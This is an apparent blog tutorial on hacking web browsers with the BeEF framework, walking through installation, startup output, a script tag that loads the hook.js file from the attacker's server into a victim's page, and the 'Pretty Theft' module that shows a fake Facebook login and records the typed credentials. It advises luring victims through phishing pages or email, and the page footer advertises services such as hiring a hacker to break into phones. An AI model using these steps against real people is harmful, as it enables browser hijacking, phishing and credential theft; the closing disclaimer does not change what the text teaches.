How to Hack Web Browsers with BeEF Framework

How to Hack Web Browsers with BeEF Framework

BeEF hacking involves hooking one or more web browsers and using them to launch command modules to attack the target system within the browser.

BeEF works by using a JavaScript file named hook.js. The job of the attacker is to find a way to run this JavaScript on the victim’s browser.

Once it’s been run, he will have control over their browser in various aspects. There are multiple ways he can execute this script. For example, he could set up a phishing page with the hook inside of the HTML code.

Install the BeEF Framework

hack web browser

A Linux OS is required to install BeEF on your local machine. You can directly install the package with the following command:

apt install beef-xss

Use the following command to start BeEF:

[22:07:06][*] BeEF is loading. Wait a few seconds...
[22:07:09][*] 8 extensions enabled:
[22:07:09]    |   Proxy
[22:07:09]    |   Demos
[22:07:09]    |   XSSRays
[22:07:09]    |   Events
[22:07:09]    |   Admin UI
[22:07:09]    |   Social Engineering
[22:07:09]    |   Network
[22:07:09]    |_  Requester
[22:07:09][*] 303 modules enabled.
[22:07:09][*] 1 network interfaces were detected.
[22:07:09][*] running on network interface: 
[22:07:09]    |   Hook URL:
[22:07:09]    |_  UI URL:
[22:07:09][*] RESTful API key: 43f6880f37e0c0b41b1e98935862bb2cf6a63266
[22:07:09][!] [GeoIP] Could not find MaxMind GeoIP database: 
[22:07:09]    |_  Run geoipupdate to install
[22:07:09][*] HTTP Proxy:
[22:07:09][*] BeEF server started (press control+c to stop)

The two important links are:

The “Hook URL” is the JavaScript you need to try and get your victim to run.

The “UI URL” is the web interface for BeEF where you’ll be able to monitor and carry out the attacks.

You can access the BeEF web interface by typing the following URL in your web browser:

The default credentials are beef for the username and beef for the password.

After logging in successfully, you should see the “Getting Started” page with information about how BeEF works. From here you can see the hacked/hooked browsers both online and offline.

Hook the Target BrowserhighLevel

In order for a web browser to be “hooked,” you need the client to visit a website with the “hook.js” JavaScript file.

So, to demonstrate this I’m going to create a very basic HTML page to load the JavaScript file. This could be placed on a web server, put on a file server, emailed to someone, etc.

<script src="" type='text/javascript'></script>
Your browser is hooked!

As you can see a new online browser has been added to the hooked browsers section.

Now that I have a hooked browser, I can execute some of the built-in modules from the “Commands” tab.

Phishing Attack

To perform a basic phishing attack, navigate to Commands > Social Engineering > Pretty Theft on the web interface of BeEF.

Click on the Execute button.

This will cause a fake Facebook session timeout page to appear on the victim webpage, asking for user credentials.

I’m going to enter some fake credentials.

As you can see “test@zyx” and “p@ssw0rd” was recorded!


BeEF is a powerful tool for exploiting web browsers, and it’s an example of why you should never click on suspicious links. Also, you should be really careful with anything that pops up in your browser.

Note: This information shall only be used to expand knowledge and not for causing malicious or damaging attacks.

Thank you for reading!


1 Comment

  • […] implications are serious, potentially allowing unauthorized actions like altering a user’s profile, posting unwarranted content, or even making illicit […]

Leave a Reply

Your email address will not be published. Required fields are marked *

fb logo
recover dogecoin from a scam
recover ethereum from a scammer
hire a hacker to hack iphone
hire a hacker to hack snapchat
hire a hacker to hack a windows computer
error: Content is protected !!